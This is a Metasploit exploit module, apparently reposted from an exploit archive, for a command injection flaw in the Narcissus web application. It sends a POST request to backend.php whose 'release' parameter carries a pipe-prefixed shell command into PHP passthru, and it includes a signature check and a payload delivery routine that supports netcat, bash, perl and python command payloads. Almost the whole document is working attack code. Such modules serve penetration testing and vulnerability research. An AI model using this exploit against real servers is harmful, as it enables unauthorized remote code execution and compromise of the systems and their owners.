Narcissus Image Configuration Passthru Vulnerability

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Narcissus Image Configuration Passthru Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Narcissus image configuration
                function.  This is due to the backend.php file not handling the $release parameter
                properly, and then passes it on to the configure_image() function.  In this
                function, the $release parameter can be used to inject system commands for
                passthru (a PHP function that's meant to be used to run a bash script by the
                vulnerable application), which allows remote code execution under the context
                of the web server.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Dun',    #Original
                    'sinn3r'  #Metasploit
                ],
            'References'     =>
                [
                    [ 'EDB', '22709' ],
                    [ 'BID', '87410' ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00\x0d\x0a"
                },
            'Platform'       => ['unix', 'linux'],
            'Arch'           => ARCH_CMD,
            'Compat'         =>
                {
                    'PayloadType' => 'cmd',
                    'RequiredCmd' => 'generic perl ruby python bash netcat-e'
                },
            'Targets'        =>
                [
                    ['Narcissus', {}]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Nov 14 2012",
            'DefaultTarget'  => 0))
 
        register_options(
            [
                OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/'])
            ], self.class)
    end
 
    def base
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
        return uri
    end
 
    def peer
        "#{rhost}:#{rport}"
    end
 
    def remote_exe(command)
        res = send_request_cgi({
            'uri'      => "#{base}backend.php",
            'method'   => 'POST',
            'encode_params' => false,
            'vars_post' => {
                'machine' => '0',
                'action'  => 'configure_image',
                'release' => "|#{command}"
            }
        })
 
        vprint_line(res.body) if res
        return res
    end
 
    def check
        sig = rand_text_alpha(rand(10) + 5)  #The string to check
 
        print_status("#{peer} - Looking for signature '#{sig}'...")
        res = remote_exe("echo #{sig}")
 
        if res and res.body =~ /#{sig}/
            print_status("#{peer} - Signature '#{sig}' found.")
            return Exploit::CheckCode::Vulnerable
        else
            print_status("#{peer} - Signature not found")
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        print_status("#{peer} - Sending malicious request...")
        remote_exe(payload.encoded)
    end
 
 
end

#  0day.today [2018-03-19]  #